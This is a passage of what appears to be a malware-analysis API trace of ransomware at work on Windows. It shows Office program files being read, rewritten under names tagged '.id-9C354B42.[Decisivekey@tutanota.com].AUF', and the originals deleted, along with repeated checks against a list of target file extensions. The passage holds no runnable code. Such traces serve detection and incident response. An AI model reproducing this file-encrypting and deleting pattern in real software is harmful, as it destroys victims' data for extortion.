Shared\\OFFICE14\\Oarpmany.exe.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.646] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe")) returned 1 [0222.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0222.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0222.646] lstrlenW (lpString=".doc") returned 4 [0222.646] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0222.646] lstrlenW (lpString=".docx") returned 5 [0222.646] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0222.646] lstrlenW (lpString=".pdf") returned 4 [0222.646] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0222.646] lstrlenW (lpString=".xls") returned 4 [0222.646] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0222.646] lstrlenW (lpString=".xlsx") returned 5 [0222.646] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0222.646] lstrlenW (lpString=".ppt") returned 4 [0222.646] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0222.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0222.646] lstrlenW (lpString=".zip") returned 4 [0222.646] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0222.646] lstrlenW (lpString=".rar") returned 4 [0222.646] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0222.646] lstrlenW (lpString=".bz2") returned 4 [0222.647] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0222.647] lstrlenW (lpString=".7z") returned 3 [0222.647] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0222.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0222.647] lstrlenW (lpString=".dbf") returned 4 [0222.647] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0222.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0222.647] lstrlenW (lpString=".1cd") returned 4 [0222.647] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0222.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0222.647] lstrlenW (lpString=".jpg") returned 4 [0222.647] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0222.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0222.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0222.647] lstrlenW (lpString=".doc") returned 4 [0222.647] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0222.647] lstrlenW (lpString=".docx") returned 5 [0222.647] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0222.647] lstrlenW (lpString=".pdf") returned 4 [0222.647] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0222.647] lstrlenW (lpString=".xls") returned 4 [0222.647] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0222.647] lstrlenW (lpString=".xlsx") returned 5 [0222.647] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0222.647] lstrlenW (lpString=".ppt") returned 4 [0222.647] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0222.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0222.647] lstrlenW (lpString=".zip") returned 4 [0222.647] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0222.647] lstrlenW (lpString=".rar") returned 4 [0222.647] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0222.647] lstrlenW (lpString=".bz2") returned 4 [0222.648] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0222.648] lstrlenW (lpString=".7z") returned 3 [0222.648] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0222.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0222.648] lstrlenW (lpString=".dbf") returned 4 [0222.648] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0222.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0222.648] lstrlenW (lpString=".1cd") returned 4 [0222.648] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0222.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0222.648] lstrlenW (lpString=".jpg") returned 4 [0222.648] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0222.648] lstrcmpiW (lpString1=".dll", lpString2=".AUF") returned 1 [0222.648] lstrlenW (lpString="promointl.dll") returned 13 [0222.648] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0222.666] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=15760) returned 1 [0222.666] CloseHandle (hObject=0x22c) returned 1 [0222.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll")) returned 0x20 [0222.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.667] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0222.667] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.667] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.667] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0222.667] GetLastError () returned 0x0 [0222.667] ReadFile (in: hFile=0x22c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x3d90, lpOverlapped=0x0) returned 1 [0222.746] WriteFile (in: hFile=0x218, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x3da0, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0x3da0, lpOverlapped=0x0) returned 1 [0222.747] ReadFile (in: hFile=0x22c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.747] WriteFile (in: hFile=0x218, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0xee, lpOverlapped=0x0) returned 1 [0222.747] SetEndOfFile (hFile=0x218) returned 1 [0222.747] CloseHandle (hObject=0x218) returned 1 [0222.747] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.747] SetEndOfFile (hFile=0x22c) returned 1 [0222.748] CloseHandle (hObject=0x22c) returned 1 [0222.748] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.748] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll")) returned 1 [0222.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0222.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0222.748] lstrlenW (lpString=".doc") returned 4 [0222.748] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0222.748] lstrlenW (lpString=".docx") returned 5 [0222.748] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0222.748] lstrlenW (lpString=".pdf") returned 4 [0222.748] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0222.748] lstrlenW (lpString=".xls") returned 4 [0222.748] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0222.748] lstrlenW (lpString=".xlsx") returned 5 [0222.748] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0222.749] lstrlenW (lpString=".ppt") returned 4 [0222.749] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0222.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0222.749] lstrlenW (lpString=".zip") returned 4 [0222.749] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0222.749] lstrlenW (lpString=".rar") returned 4 [0222.749] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0222.749] lstrlenW (lpString=".bz2") returned 4 [0222.749] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0222.749] lstrlenW (lpString=".7z") returned 3 [0222.749] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0222.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0222.749] lstrlenW (lpString=".dbf") returned 4 [0222.749] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0222.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0222.749] lstrlenW (lpString=".1cd") returned 4 [0222.749] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0222.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0222.749] lstrlenW (lpString=".jpg") returned 4 [0222.749] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0222.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0222.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0222.749] lstrlenW (lpString=".doc") returned 4 [0222.749] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0222.749] lstrlenW (lpString=".docx") returned 5 [0222.749] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0222.749] lstrlenW (lpString=".pdf") returned 4 [0222.749] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0222.749] lstrlenW (lpString=".xls") returned 4 [0222.749] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0222.749] lstrlenW (lpString=".xlsx") returned 5 [0222.749] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0222.749] lstrlenW (lpString=".ppt") returned 4 [0222.749] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0222.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0222.749] lstrlenW (lpString=".zip") returned 4 [0222.749] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0222.749] lstrlenW (lpString=".rar") returned 4 [0222.749] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0222.749] lstrlenW (lpString=".bz2") returned 4 [0222.749] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0222.749] lstrlenW (lpString=".7z") returned 3 [0222.749] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0222.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0222.749] lstrlenW (lpString=".dbf") returned 4 [0222.749] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0222.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0222.749] lstrlenW (lpString=".1cd") returned 4 [0222.750] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0222.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0222.750] lstrlenW (lpString=".jpg") returned 4 [0222.750] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0222.750] lstrcmpiW (lpString1=".dll", lpString2=".AUF") returned 1 [0222.750] lstrlenW (lpString="OSetupPS.dll") returned 12 [0222.750] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0222.750] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=47520) returned 1 [0222.750] CloseHandle (hObject=0x22c) returned 1 [0222.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll")) returned 0x20 [0222.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.750] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0222.750] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.751] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.751] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0222.751] GetLastError () returned 0x0 [0222.751] ReadFile (in: hFile=0x22c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0xb9a0, lpOverlapped=0x0) returned 1 [0222.796] WriteFile (in: hFile=0x218, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xb9b0, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0xb9b0, lpOverlapped=0x0) returned 1 [0222.800] ReadFile (in: hFile=0x22c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.800] WriteFile (in: hFile=0x218, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.800] SetEndOfFile (hFile=0x218) returned 1 [0222.801] CloseHandle (hObject=0x218) returned 1 [0222.801] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.801] SetEndOfFile (hFile=0x22c) returned 1 [0222.801] CloseHandle (hObject=0x22c) returned 1 [0222.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.802] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll")) returned 1 [0222.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll") returned 92 [0222.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll") returned 92 [0222.804] lstrlenW (lpString=".doc") returned 4 [0222.804] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0222.804] lstrlenW (lpString=".docx") returned 5 [0222.804] lstrcmpiW (lpString1=".docx", lpString2="S.dll") returned -1 [0222.804] lstrlenW (lpString=".pdf") returned 4 [0222.804] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0222.804] lstrlenW (lpString=".xls") returned 4 [0222.804] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0222.804] lstrlenW (lpString=".xlsx") returned 5 [0222.804] lstrcmpiW (lpString1=".xlsx", lpString2="S.dll") returned -1 [0222.804] lstrlenW (lpString=".ppt") returned 4 [0222.804] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0222.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll") returned 92 [0222.804] lstrlenW (lpString=".zip") returned 4 [0222.804] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0222.804] lstrlenW (lpString=".rar") returned 4 [0222.804] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0222.804] lstrlenW (lpString=".bz2") returned 4 [0222.804] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0222.804] lstrlenW (lpString=".7z") returned 3 [0222.804] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0222.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll") returned 92 [0222.804] lstrlenW (lpString=".dbf") returned 4 [0222.804] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0222.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll") returned 92 [0222.804] lstrlenW (lpString=".1cd") returned 4 [0222.804] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0222.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll") returned 92 [0222.804] lstrlenW (lpString=".jpg") returned 4 [0222.804] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0222.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll") returned 92 [0222.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll") returned 92 [0222.805] lstrlenW (lpString=".doc") returned 4 [0222.805] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0222.805] lstrlenW (lpString=".docx") returned 5 [0222.805] lstrcmpiW (lpString1=".docx", lpString2="S.dll") returned -1 [0222.805] lstrlenW (lpString=".pdf") returned 4 [0222.805] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0222.805] lstrlenW (lpString=".xls") returned 4 [0222.805] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0222.805] lstrlenW (lpString=".xlsx") returned 5 [0222.805] lstrcmpiW (lpString1=".xlsx", lpString2="S.dll") returned -1 [0222.805] lstrlenW (lpString=".ppt") returned 4 [0222.805] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0222.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll") returned 92 [0222.805] lstrlenW (lpString=".zip") returned 4 [0222.805] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0222.805] lstrlenW (lpString=".rar") returned 4 [0222.805] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0222.805] lstrlenW (lpString=".bz2") returned 4 [0222.805] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0222.805] lstrlenW (lpString=".7z") returned 3 [0222.805] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0222.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll") returned 92 [0222.805] lstrlenW (lpString=".dbf") returned 4 [0222.805] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0222.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll") returned 92 [0222.805] lstrlenW (lpString=".1cd") returned 4 [0222.805] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0222.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll") returned 92 [0222.805] lstrlenW (lpString=".jpg") returned 4 [0222.805] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0222.805] lstrcmpiW (lpString1=".xrm-ms", lpString2=".AUF") returned 1 [0222.805] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0222.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0222.809] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=715834) returned 1 [0222.809] CloseHandle (hObject=0x214) returned 1 [0222.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 0x20 [0222.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.810] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0222.810] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.810] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.810] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0222.810] GetLastError () returned 0x0 [0222.810] ReadFile (in: hFile=0x214, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0222.892] WriteFile (in: hFile=0x230, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0222.910] ReadFile (in: hFile=0x214, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.910] WriteFile (in: hFile=0x230, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0x104, lpOverlapped=0x0) returned 1 [0222.910] SetEndOfFile (hFile=0x230) returned 1 [0222.910] CloseHandle (hObject=0x230) returned 1 [0222.910] SetFilePointerEx (in: hFile=0x214, 